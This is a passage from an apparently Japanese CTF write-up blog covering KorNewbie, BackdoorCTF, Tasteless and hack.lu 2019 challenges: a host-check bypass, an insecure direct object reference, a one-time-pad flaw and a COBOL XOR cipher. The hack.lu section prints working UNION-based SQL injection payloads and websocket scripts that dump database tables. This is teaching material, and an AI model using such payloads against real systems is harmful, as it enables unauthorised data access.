void prob9(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob10(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob11(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob12(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob13(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob14(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob15(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob16(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob17(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob18(){
  digitalWrite(12, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(12, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}

void prob19(){
  digitalWrite(10, HIGH);
  delay(400); // Wait for 1000 millisecond(s)
  digitalWrite(10, LOW);
  delay(400); // Wait for 1000 millisecond(s)
}



void one(){
    prob6();
    prob5();
    prob2();
    prob12();
    prob14();
    prob18();
    prob15();
    prob7();
    prob3();
}

void two(){
    prob8();
    prob13();
    prob15();
    prob5();
    prob10();
    prob16();
    prob2();
    prob1();
    prob3();
}

void three(){
    prob1();
    prob6();
    prob5();
    prob7();
    prob8();
    prob12();
    prob9();
    prob2();
    prob3();
}

void four(){
    prob14();
    prob1();
    prob9();
    prob2();
    prob6();
    prob17();
    prob1();
    prob14();
    prob3();
}

void five(){
    prob1();
    prob5();
    prob2();
    prob7();
    prob14();
    prob17();
    prob1();
    prob10();
    prob3();
}

void six(){
    prob6();
    prob4();
    prob2();
    prob19();
    prob1();
    prob18();
    prob1();
    prob17();
    prob3();
}

void seven(){
    prob8();
    prob7();
    prob9();
    prob2();
    prob1();
    prob13();
    prob2();
    prob4();
    prob3();
}

void eight(){
    prob6();
    prob1();
    prob7();
    prob2();
    prob16();
    prob18();
    prob13();
    prob2();
}

void loop()
{
    one();
    two();
    three();
    four();
    five();
    six();
    seven();
    eight();
    delay(100000);
}

12、10、4番のピンを使い、それぞれをオンオフするような処理になっていました。 回路も見直してみると、必要のないものがたくさんあるようです。

少しシンプルになるように修正しました。

f:id:tsalvia:20191104015918p:plain

loop関数内のone関数以外をコメントアウトして、シミュレーションを開始してみました。

void loop()
{
    one();
    // two();
    // three();
    // four();
    // five();
    // six();
    // seven();
    // eight();
    delay(100000);
}

実行すると、青赤赤青青青赤赤黄となりました。 他の関数も確かめてみると、以下のようになりました。

  1. 青赤赤青青青赤赤黄
  2. 青赤赤赤青青赤青黄
  3. 青青赤赤青青赤赤黄
  4. 青青赤赤青赤青青黄
  5. 青赤赤赤青赤青青黄
  6. 青青赤赤青青青赤黄
  7. 青赤赤赤青赤赤青黄
  8. 青青赤赤青青赤赤

黄色は、最後にしか現れていないので、ターミネータとして扱われているようです。 青を0、赤を1に変換して2進数として考えると、アスキーコードに変換できそうです。

CyberChefで変換してみると、文字列(cr34t1v3)が現れました。

f:id:tsalvia:20191104021339p:plain

よって、フラグは、KorNewbie{cr34t1v3}となります。

FLAG

KorNewbie{cr34t1v3}

Normal_Host(Web)

問題

This is Just a Normal Host! Can you hack?
Author: Y311J(신재욱)
LINK

解答例

問題文のリンクにアクセスすると、以下のページが表示されました。

f:id:tsalvia:20191104022823p:plain

上記のページに書かれている通り、normalflag.iwinv.netと入力して、Connect!をクリックしてみました。 すると、以下のようにエラーが表示されてしまいました。

f:id:tsalvia:20191104022935p:plain

試しにnormalflag.iwinv.net:80と入力してみると、チェック機能を回避できたようです。 以下のようにフラグが表示されました。

f:id:tsalvia:20191104023550p:plain

FLAG

KorNewbie{H0$7_$P1it_A774cK_U$3s_N0RM^liZ47ioN&##$%%!}

BackdoorCTF 2019 Writeup

BackdoorCTF 2019 について

BackdoorCTF 2019 が開催されました。
2019年10月27日午前0時30分~2019年10月28日午前0時30分(24時間)

backdoor.sdslabs.co

同日に Tasteless CTF 2019 もあり、あまり問題を見れていませんが、難易度高めのCTFだと思います。 今回もチームで参加しました。チームのメンバが2問解いてくれました。 結果は、30/205位で376点でした。 私も1問だけ解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20191028022414p:plain

同日に Tasteless CTF 2019 も開催されていました。 こちらも同時に参加していました。Writeupを書きましたので、参考にしてみてください。

tsalvia.hatenablog.com

BackdoorCTF 2019 Writeup(1問)

meow-1(web)

問題

Can you get all the flags???
Source: http://backdoor.static.beast.sdslabs.co/static/meow/dist.zip
Link: http://51.158.118.84:16001/
Created by: Faizal Hasanwala

解答例

http://51.158.118.84:16001/ に接続すると、ログイン画面が表示されます。

f:id:tsalvia:20191028024625p:plain

適当にアカウントを作成し、ログインしてみるとTwitterのようなページが表示されました。 ツイートのようなこともできそうです。

f:id:tsalvia:20191028024741p:plain

また、下のほうのツイートを見てみると、公式アカウントのようなアカウントがプライベート限定のツイートをしているようです。

f:id:tsalvia:20191028192344p:plain

今回は、ソースコードがすべて提供されているので、読んでみます。 app.pyを見てみると、以下のような処理がありました。 idinstance を指定して、呼び出すと該当するツイートをデータベースから取得して表示するようになっています。

# 省略

@app.route('/post')
@ensure_csrf
@login_required
@apply_csp
def view_post(request):
    if request.method == 'GET':
        post_id = request.args.get('id')
        instance = request.args.get('instance')
        success, post = get_post(session, post_id, instance)
        if success:
            return render_template('post.html',
                                   post=post,
                                   csrf=request.session['csrf'])
        else:
            return render_template('404.html')

# 省略

また、db.pyのget_postを見てみると、以下のようになっており、プライベートのツイートかどうかを判断しているように見えません。

# 省略

def get_post(session, post_id, instance):
    post = session.query(Post).filter_by(id=post_id,
                                         instance=instance).first()
    if not post:
        return (False, 'Post does not exist')

    poster = session.query(User).filter_by(username=post.posted_by).first()

    res = {'posted_by': post.posted_by, 'posted_name': poster.name,
           'content': post.content, 'preview': post.preview,
           'link': post.link, 'instance': post.instance,
           'id': post.id}

    return (True, res)

# 省略

idinstanceが分かれば、任意のツイートを読み出すことができそうです。 開発者モードで見ていると、そのまま書かれていました。

f:id:tsalvia:20191028025139p:plain

idinstanceが判明したので、実際にアクセスしてみると、自分のツイートを参照することができました。
アクセス先:http://51.158.118.84:16001/post?instance=a8e46c63-6e31-4445-bd80-3218275130e8&id=2112

f:id:tsalvia:20191028025247p:plain

公式アカウントのプライベート限定ツイートも同様の手順で参照してみました。 下から3つ目のツイートを参照してみると、フラグが書かれていました。
アクセス先:http://51.158.118.84:16001/post?instance=a8e46c63-6e31-4445-bd80-3218275130e8&id=2104

f:id:tsalvia:20191028025423p:plain

FLAG

BackdoorCTFでは、出てきたフラグのSHA256のハッシュ値を求めて、その結果を解答する必要があります。 以下のように実行して得られたハッシュ値が正解となります。

$ echo -n "flag{463048332a5a102f091f5620dfa6a261}" | sha256sum
2929e0dcbae938d2bfd5533c6ae0f0406aa5d444f81dfadbd2a5b2d4fc6046b6  -

2929e0dcbae938d2bfd5533c6ae0f0406aa5d444f81dfadbd2a5b2d4fc6046b6

Tasteless CTF 2019 Writeup

Tasteless CTF 2019 について

Tasteless CTF 2019 が開催されました。
2019年10月26日午後9時~2019年10月27日午後9時(24時間)

ctf.tasteless.eu

このCTFも難易度の高い問題が多かったです。色々問題を見ていましたが、チュートリアル問題も含めて結局2問しか解くことができませんでした。 一応今回もチームで参加しました。結果は、47/157位で155点でした。 今回、私が実際に解いた2問のWriteupを紹介します。

f:id:tsalvia:20191028011157p:plain

同日にBackdoorCTF 2019も開催されていました。 こちらも同時に参加していました。Writeupを書きましたので、参考にしてみてください。

tsalvia.hatenablog.com

Tasteless CTF 2019 Writeup(2問)

sanity(misc)

問題

this challenge is protected.
hitme.tasteless.eu:10001

protected challenges will require a proof-of-work like this:
sha1(abc123, input) prefix = 00000...

you need to respond with a single line suffix to abc123, so that sha1(abc123[input]) has a 00000 prefix example: sha(abc12344739190).hexdigest = 000000872D5625DEE5FD0EA44B230D7A98C1B2CA

you can use go run pow.go abc123 00000 or python pow.py abc123 00000 to generate your own. the pow binary is go, compiled for linux/amd64.

  • pow
  • pow.go
  • pow.py

解答例

Tasteless CTF のチュートリアル問題です。 このCTFは、少し変わっていて、netcatで接続する問題にプロテクトがかかっている場合があります。 他のCTFと同じようにnetcatで接続するだけでは、問題にたどり着くことができません。

netcatで接続してみると、以下のようになります。

$ nc hitme.tasteless.eu 10001
sha1(cf27ff1e75faba1c, input) prefix = 00000...

Tasteless CTFは、接続用のツールを提供しており、これを使って問題を解いていく必要があるようです。 ヘルプを見ると以下のように表示されます。

$ ./pow
usage

solve args:
Usage: ./pow <prefix> <hash>
Usage: ./pow d616656ece36eb66 00000

solve serverresponse:
Usage: ./pow '<serverresponse>'
Usage: ./pow 'sha1(d616656ece36eb66, input) prefix = 00000...'

netcat mode:
Usage: ./pow connect <host> <port>
Usage: ./pow connect hitme.tasteless.eu 10001

server mode:
Usage: ./pow listen <addr> <host> <port>
Usage: ./pow listen :12345 hitme.tasteless.eu 10001

実行すると、フラグが表示されました。

$ ./pow connect hitme.tasteless.eu 10001
welcome! tctf{are_y0u_readdddyyyy}

FLAG

tctf{are_y0u_readdddyyyy}

babypad(crypto)

問題

We heard this kind of enription is super securr, so we'll just give you the flag encripted!
f:id:tsalvia:20191028011804p:plain nc hitme.tasteless.eu 10401
$ sha1sum chall.c
d64fc2e2f979b693696efe1762e18153df1b6170 chall.c
Author: plonk

chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main() {
    char *plaintext = NULL;
    char *one_time_pad = NULL;
    char *ciphertext = NULL;
    size_t flag_length = 0;
    FILE *flag = fopen("flag.txt", "r");
    FILE *urandom = fopen("/dev/urandom", "r");
    assert(flag && urandom);

    /*
     * Get flag length, and allocate memory for the plaintext,
     * one-time pad and ciphertext.
     */
    fseek(flag, 0, SEEK_END);
    flag_length = ftell(flag);
    rewind(flag);

    plaintext = malloc(flag_length + 1);
    one_time_pad = malloc(flag_length + 1);
    ciphertext = malloc(flag_length + 1);
    assert(plaintext && one_time_pad && ciphertext);

    /* Read the plaintext and the one-time-pad */
    fread(plaintext, flag_length, 1, flag);
    fread(one_time_pad, flag_length, 1, urandom);
    plaintext[flag_length] = '\0';
    one_time_pad[flag_length] = '\0';

    /* Make sure that the one-time-pad isn't too short. */
    assert(strlen(plaintext) == strlen(one_time_pad));

    for (int i = 0; i < flag_length; i++) {
        ciphertext[i] = plaintext[i] ^ one_time_pad[i];
    }

    fwrite(ciphertext, flag_length, 1, stdout);
    return 0;
}

解答例

この問題は、ソースコードが提供されました。 読んでみると、以下のような処理を行っていました。

  1. flag.txtのデータサイズを求める。
  2. flag.txtのデータサイズ+1の長さのバッファ(plaintextone_time_padciphertext)を3つ確保する。
  3. flag.txtからデータを読み出し、plaintextに格納する。
  4. /dev/urandomからデータを読み出し、one_time_padに格納する。
  5. plaintextone_time_padを1文字ずつ取り出して、それぞれをXOR演算し、ciphertextに格納する(flag.txtのデータサイズ分繰り返す)。
  6. ciphertextを標準出力に出力する。

ただし、よく読んでみると、以下のような処理が確認できます。 C言語のstrlenは、Null文字までの文字数を返す関数です。 そのため、/dev/urandomから読み出したデータに\0が含まれる場合、ここでエラーとなり終了してしまいます。

/* Make sure that the one-time-pad isn't too short. */
assert(strlen(plaintext) == strlen(one_time_pad));

実際にコンパイルして、何度か実行していると想定箇所で終了しました。

$ gcc chall.c
$ ./a.out
a.out: chall.c:35: main: Assertion `strlen(plaintext) == strlen(one_time_pad)' failed.
Aborted (core dumped)

よって、XORキーには、0x00が含まれないということが分かりました。 そのため、何度もXORで暗号化された文字列を取得し、0x01~0xFFで復号していけば絞り込むことができそうです。

以下のようなスクリプトを作成し、復号パターンを絞り込んでいきました。

from pwn import *
import string

def check_dec_pattern(pattern, enc_flag, offset):
    new_pattern = ""
    for key in range(1, 0x100):
        ch = chr(enc_flag[offset] ^ key)
        if ch in pattern:
            new_pattern += ch
    return new_pattern

def get_enc_flag():
    while True:
        context.log_level = "error"
        con = remote("hitme.tasteless.eu", 10401)
        enc_flag = con.recvall()
        if len(enc_flag) > 0:
            return enc_flag

def main():
    max_len = len(get_enc_flag())

    pattern_list = []
    for _ in range(max_len):
        pattern = string.ascii_letters + string.digits + string.punctuation
        pattern_list.append(pattern)

    loop_end = False
    while loop_end == False:
        enc_flag = get_enc_flag()

        loop_end = True
        for i in range(max_len):
            new_pattern = check_dec_pattern(pattern_list[i], enc_flag, i)
            pattern_list[i] = new_pattern
            if len(new_pattern) > 1:
                print(len(new_pattern), end=", ")
                loop_end = False
            else:
                print(new_pattern, end=", ")
        print()
    
    print("".join(pattern_list))

if __name__ == "__main__":
    main()

結構時間がかかりましたが、完全に復号することができました。

$ python solve.py
93, 94, 93, 94, 94, 93, 94, 94, 94, 94, 94, 94, 93, 94, 93, 94, 94, 93, 94, 93, 94, 93, 94, 93, 93, 94, 94, 94, 94, 93, 94, 94, 93, 94, 94, 94, 94, 
92, 93, 93, 93, 94, 93, 93, 94, 93, 94, 93, 93, 93, 94, 92, 93, 94, 92, 94, 93, 94, 93, 93, 93, 92, 94, 94, 94, 93, 92, 94, 94, 92, 93, 93, 94, 94, 
91, 93, 93, 93, 94, 93, 93, 94, 92, 94, 93, 93, 92, 93, 92, 93, 94, 91, 94, 92, 94, 92, 93, 92, 91, 94, 93, 93, 93, 92, 94, 93, 92, 93, 93, 94, 93, 
90, 92, 92, 93, 94, 92, 92, 93, 92, 94, 92, 92, 92, 92, 92, 93, 94, 91, 93, 91, 94, 92, 93, 91, 91, 94, 92, 93, 93, 92, 94, 92, 91, 92, 92, 94, 93,

# 省略

t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
t, c, t, f, {, p, 1, z, _, u, s, 2, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
t, c, t, f, {, p, 1, z, _, u, s, 3, :, 4, l, l, -, t, 3, h, _, b, y, 7, e, 5, >, 0, n, 3, _, t, i, m, 3, }, , 
tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}

FLAG

tctf{p1z_us3:4ll-t3h_by7e5>0n3_tim3}

hack.lu CTF 2019 Writeup

hack.lu CTF 2019 Writeup について

hack.lu CTF 2019 が開催されました。
2019年10月22日午後7時~2019年10月24日午後7時(48時間)

https://fluxfingersforfuture.fluxfingers.net/info

かなり難易度の高いCTFでした。OTセキュリティに焦点を当てているのか、 別のアーキテクチャのPwn問題だったり、古い言語が使われていたり、工場系のワードがよく出ていました。 一応今回もチームで参加しましたが、私しか解けていませんでした。 結果は、104/973位で477点でした。このCTFの中で回答率の高い3問解けたので、そのWriteupを紹介します。

f:id:tsalvia:20191025085814p:plain

hack.lu CTF 2019 Writeup(3問)

Nucular Power Plant(baby-web)

問題

We found this overview page of nucular power plants, maybe you can get us some secret data to fight them?
http://31.22.123.49:1909

解答例

指定されたURLにアクセスすると、以下のようなページが表示されました。 原子力発電所の各施設の発電量の確認ができるようです。

f:id:tsalvia:20191025073715p:plain

とりあえず、F12で確認しました。 main.jsを見てみると、以下の処理が確認できました。 websocketで接続し、Plant情報を取ってきて表示する処理となっているようです。

const elPlantList = document.getElementById('plant-list');
const elPlantListLoading = document.getElementById('plant-list-loading');
const elPlantDetail = document.getElementById('plant-detail');
const elPlantDetailLoading = document.getElementById('plant-detail-loading');

const plantListItem = (ws, plant) => {
    const li = document.createElement('li');
    const fali = document.createElement('span');
    const icon = document.createElement('i');

    li.onclick = (e) => {
        ws.send(plant);
    };

    fali.className = 'fa-li';
    icon.className = 'fas fa-industry-alt';
    li.innerText = plant;

    fali.appendChild(icon);
    li.appendChild(fali);
    elPlantList.appendChild(li);
};
const plantList = (ws, plants) => {
    // clear old entries
    while (elPlantList.hasChildNodes()) {
        elPlantList.removeChild(elPlantList.firstChild);
    }

    for (const plant of plants) {
        plantListItem(ws, plant);
    }
    
    elPlantList.style = 'display: block;';
    elPlantListLoading.style = 'display: none;';
};

const plantDetails = (plant) => {
    plantPowerSupply(0);
    
    const fields = ["name", "type", "power", "operation", "operator", "shutdown"];
    for (const field of fields) {
        for (const el of document.getElementsByClassName(`plant-${field}`)) {
            el.innerText = plant[field];
        }
    }

    elPlantDetail.style = 'display: block;';
    elPlantDetailLoading.style = 'display: none;';
};
const plantPowerSupply = (powerSupply) => {
    for (const el of document.getElementsByClassName('plant-power-supply')) {
        el.innerText = powerSupply % 101;
    }
};

const main = () => {
    const ws = new WebSocket(`ws://${window.location.host}/ws`);
    ws.onerror = (e) => {
        alert('WebSocket connection failed.');
    };
    ws.onmessage = (e) => {
        const data = JSON.parse(e.data);

        if (typeof data === 'string') {
            alert(data);
        } else if (typeof data === 'number') {
            plantPowerSupply(data);
        } else if (Array.isArray(data)) {
            plantList(ws, data);
        } else {
            plantDetails(data);
        }
    }
}

main();

Pythonからwebsocketに接続するようなスクリプトを作成しました。 初回接続時にPlant名のリストを取得でき、Plant名を送信するとそのPlant情報が取得できるようです。 また、それ以降は、Current Power Supply情報が取得できるようです。

from websocket import create_connection
import json

def main():
    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    ws.send(result[0])
    result = json.loads(ws.recv())
    print(result)

    for _ in range(5):
        result = json.loads(ws.recv())
        print(result)

    ws.close()

if __name__ == "__main__":
    main()

実行すると、以下のようになります。

$ pip install websocket
$ python test.py 
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
{'operation': 1985, 'name': 'Gundremmingen C', 'operator': 'RWE', 'shutdown': 2021, 'type': 'BWR', 'power': 1288}
3011294498
2473469445
1778470357
3795357061
3846035812

次に、総当たりで1文字ずつ送信するスクリプトを作成しました。

from websocket import create_connection
import json
import string

def main():
    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    for ch in string.printable:
        ws.send(ch)
        result = json.loads(ws.recv())
        print("{}: {}".format(ch, result))

    ws.close()

if __name__ == "__main__":
    main()

実行すると、以下のようになります。

$ python test.py 
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
0: Error: QueryReturnedNoRows
1: Error: QueryReturnedNoRows
2: Error: QueryReturnedNoRows

# 省略

X: Error: QueryReturnedNoRows
Y: Error: QueryReturnedNoRows
Z: Error: QueryReturnedNoRows
!: Error: QueryReturnedNoRows
": Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))
#: Error: QueryReturnedNoRows
$: Error: QueryReturnedNoRows

# 省略

" を送信したときだけ、別のエラーが返ってきています。

Error: SqliteFailure(Error { code: Unknown, extended_code: 1 }, Some("unrecognized token: \"\"\"\"\""))

SQLiteのエラーが返ってきているので、SQLインジェクションができそうです。 以下のようなスクリプトを作成し、色々なクエリを投げてみました。

from websocket import create_connection
import json
import sys

def main():
    if len(sys.argv) < 2:
        print("input error")
        return

    ws = create_connection("ws://31.22.123.49:1909/ws")
    result = json.loads(ws.recv())
    print(result)

    query = sys.argv[1] 
    ws.send(query)
    print("query:", query)

    result = json.loads(ws.recv())
    if type(result) == dict:
        print("result:", end="")
        for item in result.items():
            print("\t{}, {}".format(item[0], item[1]))
    else:
        print("result:", result)

if __name__ == "__main__":
    main()

" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- と入力すると、nucular_plantテーブル情報を参照することができました。 このテーブルでPlant情報を管理しているようです。

$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master-- 
result: operator, nucular_plant
        shutdown, 1
        power, 2
        name, nucular_plant
        type, CREATE TABLE nucular_plant (
                  id INTEGER PRIMARY KEY,
                  name TEXT NOT NULL,
                  type TEXT NOT NULL,
                  power INTEGER NOT NULL,
                  operation INTEGER NOT NULL,
                  operator TEXT NOT NULL,
                  shutdown INTEGER NOT NULL
                  )
        operation, 1

次に " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- でrootpageを指定して別のテーブル情報を取得しました。 どうやら、secret テーブルがあるようです。

$ python test.py '" UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT tbl_name,sql,rootpage,1,name,1 FROM sqlite_master WHERE rootpage=3-- 
result: name, secret
        power, 3
        shutdown, 1
        operator, secret
        type, CREATE TABLE secret (
                  id INTEGER PRIMARY KEY,
                  name TEXT NOT NULL,
                  value TEXT NOT NULL
                  )
        operation, 1

あとは、secretテーブル情報を参考に" UNION SELECT name,value,id,1,name,1 FROM secret-- と入力してみると、フラグが取得できました。

$ python test.py '" UNION SELECT name,value,id,1,name,1 FROM secret-- '
['Gundremmingen C', 'Grohnde', 'Phillipsburg 2', 'Brokdorf', 'Isar 2', 'Emsland', 'Neckarwestheim 2']
query: " UNION SELECT name,value,id,1,name,1 FROM secret-- 
result: power, 2
        operation, 1
        type, flag{sqli_as_a_socket}
        name, flag
        operator, flag
        shutdown, 1

FLAG

flag{sqli_as_a_socket}

VsiMple(rev)

問題

Evil Oil corporations are trying to obfuscate their computers in order to destroy the world. Show 'em their stupidity!
Download challenge files

解答例

実行ファイルを渡されたので、とりあえずfileコマンドを打ってみます。 64bitのPEファイルのようです。

$ file VsiMple.exe
VsiMple.exe: PE32+ executable (console) x86-64, for MS Windows

実行してみると、フラグの入力を求められます。適当に打ってみると、:(と返されました。

PS> .\VsiMple.exe
flag pls: hoge
:(

次に、Ghidraでデコンパイルしてみました。

f:id:tsalvia:20191026154113p:plain

60行目を見てみると、ret = (*(&local_d8)[num])(&local_d8); としており、関数テーブルから関数を指定して、呼び出している処理が確認できます。 また、その関数の指定は、58行目のところでループごとに変動するようになっていまいます。

今度は、実際にx64dbgで動かしながら処理を確認してみます。

該当の箇所でbreakさせました。

f:id:tsalvia:20191026155725p:plain

Continueを押していくと、以下の順に呼び出されていることが分かりました。

1回目:0x00007FF7C2358240
f:id:tsalvia:20191026160016p:plain
2回目:0x00007FF7C23581C0
f:id:tsalvia:20191026155827p:plain
3回目:0x00007FF7C23581C0
f:id:tsalvia:20191026155856p:plain
4回目:0x00007FF7C23581B0
f:id:tsalvia:20191026155915p:plain

次に、上記の関数にbreakpointを置いて、flagと入力して実行してみました。 前回のように適当に入力した場合と違い、呼び出し回数が多くなっているのが確認できます。

f:id:tsalvia:20191026164611p:plain

さらに、flag{ と入力して実行してみました。 すると、呼び出し回数が先ほどよりも多くなりました。

f:id:tsalvia:20191026164820p:plain

どうやら1文字ずつ判定しているようです。 ここまで分かったので、1文字ずつ総当たりで、呼び出し回数が多くなる入力を探していきました。 総当たりの結果、flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style} と入力した場合が最大の呼び出し回数となりました。 この文字列がフラグとなります。

f:id:tsalvia:20191026170233p:plain

FLAG

flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}

COBOL OTP(crypto)

問題

To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future?
Download challenge files

解答例

以下のようなCobolで書かれたプログラムが渡されました。

       identification division.
       program-id. otp.
      
       environment division.
       input-output section.
       file-control.
           select key-file assign to 'key.txt'
           organization line sequential.
      
       data division.
       file section.
       fd key-file.
       01 key-data pic x(50).
      
       working-storage section.
       01 ws-flag pic x(1).
       01 ws-key pic x(50).
       01 ws-parse.
           05 ws-parse-data pic S9(9).
       01 ws-xor-len pic 9(1) value 1.
       77 ws-ctr pic 9(1).
      
       procedure division.
           open input key-file.
           read key-file into ws-key end-read.
      
           display 'Enter your message to encrypt:'.
           move 1 to ws-ctr.
           perform 50 times
               call 'getchar' end-call
               move return-code to ws-parse
               move ws-parse to ws-flag

               call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value
               ws-xor-len end-call

               display ws-flag with no advancing
               add 1 to ws-ctr end-add
           end-perform.
      
       cleanup.
           close key-file.
           goback.
       end program otp.

ソースコードを読むと、以下のような処理となっています。

  1. key.txtを読み出す。
  2. Enter your message to encrypt: と表示する。
  3. getcharで1文字ずつ標準入力を受け付ける。
  4. 入力値とkey.txtの値をXORする。
  5. XORされた文字を出力する。
  6. 3~5を50回繰り返す。

ただし、よくソースコードを見てみると、77 ws-ctr pic 9(1). となっており、 ws-ctrは、0~9までしか保持できないようになっています。 よって、XORされるキーは、key.txt の初めの10文字分となっています。

また、もう一つのファイルを見てみました。 以下のようになっており、出力結果のダンプとなっているようです。

$ cat out
Enter your message to encrypt:
y;dhuF]UjhC-1T`h&F1*T{_p02J
$ hexdump -C out
00000000  45 6e 74 65 72 20 79 6f  75 72 20 6d 65 73 73 61  |Enter your messa|
00000010  67 65 20 74 6f 20 65 6e  63 72 79 70 74 3a 0a a6  |ge to encrypt:..|
00000020  d2 13 96 79 3b 10 64 68  75 9f dd 46 9f 5d 17 55  |...y;.dhu..F.].U|
00000030  6a 68 43 8f 8c 2d 92 31  07 54 60 68 26 9f cd 46  |jhC..-.1.T`h&..F|
00000040  87 31 2a 54 7b 04 5f a6  eb 06 a4 70 30 11 32 4a  |.1*T{._....p0.2J|
00000050  0a                                                |.|
00000051

XORキーが10桁分しかないことが分かっているので、後は予測しながらフラグを復号していきます。 おそらく入力された文字列は、以下のような感じになっているはずです。

flag{?????
??????????
??????????
??????????
????????}\n

そのため、XORキーの0~4番目と8~9番目は、求められそうです。
しかし、まだ5~7番目が分かりません。ここは、総当たりをしてみます。

以下のようなスクリプトを書きました。5~7番目は、総当たりで出力するようにしています。

import itertools
import string

def split_n(s, n):
    return [s[i: i+n] for i in range(0, len(s), n)]
    
def xor_bytes(b, key):
    result = bytearray()
    for i in range(len(b)):
        dec = b[i] ^ key[i % len(key)]
        result.append(dec)  
    return bytes(result)

def search_key_candidate(enc_flag_list, offset):
    key = []
    for k in range(0x100):
        tmp_s = ""
        for s in enc_flag_list:
            ch = chr(s[offset] ^ k)
            if ch in string.printable and ch not in string.whitespace:
                tmp_s += ch
        
        if len(tmp_s) == len(enc_flag_list):
            key.append(k)
    return key

def main():
    with open("out", "rb") as f:
        f.readline()
        enc_flag = f.readline()
    
    enc_flag_list = split_n(enc_flag, 10)
    
    key_candidates1 = xor_bytes(enc_flag_list[0], b"flag{xxxxx")
    key_candidates2 = xor_bytes(enc_flag_list[-1], b"xxxxxxxx}\n")

    key = [
        key_candidates1[0], # f
        key_candidates1[1], # l
        key_candidates1[2], # a
        key_candidates1[3], # g
        key_candidates1[4], # {
            0x00,
            0x00,
            0x00,
        key_candidates2[8], # }
        key_candidates2[9], # \n
    ]

    key5_candidates = search_key_candidate(enc_flag_list, 5)
    key6_candidates = search_key_candidate(enc_flag_list, 6)
    key7_candidates = search_key_candidate(enc_flag_list, 7)

    for i in key5_candidates:
        for j in key6_candidates:
            for k in key7_candidates:
                key[5] = i
                key[6] = j
                key[7] = k
                flag = xor_bytes(enc_flag, key).decode("utf-8")
                print("({:4},{:4},{:4}): {}".format(hex(i), hex(j), hex(k), flag), end="")

if __name__ == "__main__":
    main()

試しに実行してみると、178,416件のフラグ候補が出力されました。

$ python solve.py | nl | tail -n 1
178416  (0x7f,0x7f,0x5f): flag{Do;_u_c4n_h*5_CO2_c3x+?_&_s4v3U+$3_fUtUrOnm}

ここからは、grepしながら探していきます。 フラグの後半にfUtUrという文字列があり、futureのように見えます。

以下のように、grepしてみると、3,024件まで候補を絞ることができました。

$ python solve.py | grep fUtUre | nl | tail -n 1
$ python solve.py | grep fUtUr3 | nl | tail -n 1
$ python solve.py | grep fUtUrE | nl | tail -n 1
  3024  (0x75,0x7f,0x5f): flag{No;_u_c4n_b*5_CO2_c3r+?_&_s4v3_+$3_fUtUrEnm}

3,024件程度なら目grepできそうです。 flag{ の後のNから始まる3文字の単語でいい感じのやつを目grepしました。 18行目が一番いい感じになっています。

18  (0x75,0x20,0x13): flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}

強引でしたが、これがフラグとなっていました。
(もっとスマートに解くには、どうすればいいんだろうか......)

FLAG

flag{N0w_u_c4n_buy_CO2_c3rts_&_s4v3_th3_fUtUrE1!}

SECCON 2019 Online CTF Writeup

SECCON 2019 Online CTF について

SECCON 2019 Online CTFが開催されました。
2019年10月19日午後15時~2019年10月20日午後15時(24時間)

https://www.seccon.jp/2019/seccon2019/seccon_ctf_2019_quals.html

